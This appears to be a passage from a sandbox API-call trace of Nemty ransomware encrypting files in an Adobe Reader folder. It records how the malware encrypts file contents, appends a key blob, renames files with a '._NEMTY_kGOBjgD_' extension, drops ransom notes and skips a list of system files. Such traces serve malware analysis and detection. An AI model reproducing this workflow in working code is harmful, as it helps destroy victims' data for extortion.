CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.846] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.846] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="xLlfvNEPqB6p1qAcsf4Xghxbg7Yy1vH+skk6RHUGGptiPaDortVvzqF7r6iGkMnw\r\nll0bCmYpnXG8phlD9WLHER74IpD+9FRGgNr9jiyAwcv5pEPEPv4Y/MlrBrwDdy/Q\r\n7pGJMZrdA3DGaUg1HPOxB/atAuGix2qvODhN7ytYzAmFGoR+UjFeey4jKaW1Wu7i\r\n8kJAK6kTYujmgFJee7zL5xBGJXEwZMkKX2XTrJiaj1gC6UnsjherswqEsp6M3sfK\r\nh8EmaYgQp6PsD4YM2n9vebbcQpAJvNg4jy0JBVRLLQ7g+ZLe6jAzs/5krTP2Yr/+\r\nfj/2kguBiUQEU5ZaM9YRkQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.847] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=50320) returned 1 [0172.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc490) returned 0x6352c48 [0172.847] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.847] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc490, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc490, lpOverlapped=0x0) returned 1 [0172.852] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.852] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc490, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc490, lpOverlapped=0x0) returned 1 [0172.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.852] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=50320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc490 [0172.852] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.852] CloseHandle (hObject=0x3b0) returned 1 [0172.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.852] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html._nemty_kgobjgd_")) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.853] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa704f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aa704f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa704f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.853] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.854] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.855] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa704f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aa704f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa704f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.855] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.855] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2=".") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="..") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="...") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="windows") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="$RECYCLE.BIN") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="rsa") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="NTDETECT.COM") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="ntldr") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="MSDOS.SYS") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="IO.SYS") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="AUTOEXEC.BAT") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="ntuser.dat") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="desktop.ini") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="CONFIG.SYS") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="RECYCLER") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="BOOTSECT.BAK") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="bootmgr") returned 1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="programdata") returned -1 [0172.855] lstrcmpiW (lpString1="HUN", lpString2="appdata") returned 1 [0172.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0172.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0172.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.856] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.856] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.857] CloseHandle (hObject=0x254) returned 1 [0172.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.859] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.859] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.859] CloseHandle (hObject=0x254) returned 1 [0172.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.859] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aabc7b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aabc7b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.860] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.860] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aabc7b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aabc7b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.860] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.860] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.860] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.860] lstrcmpiW 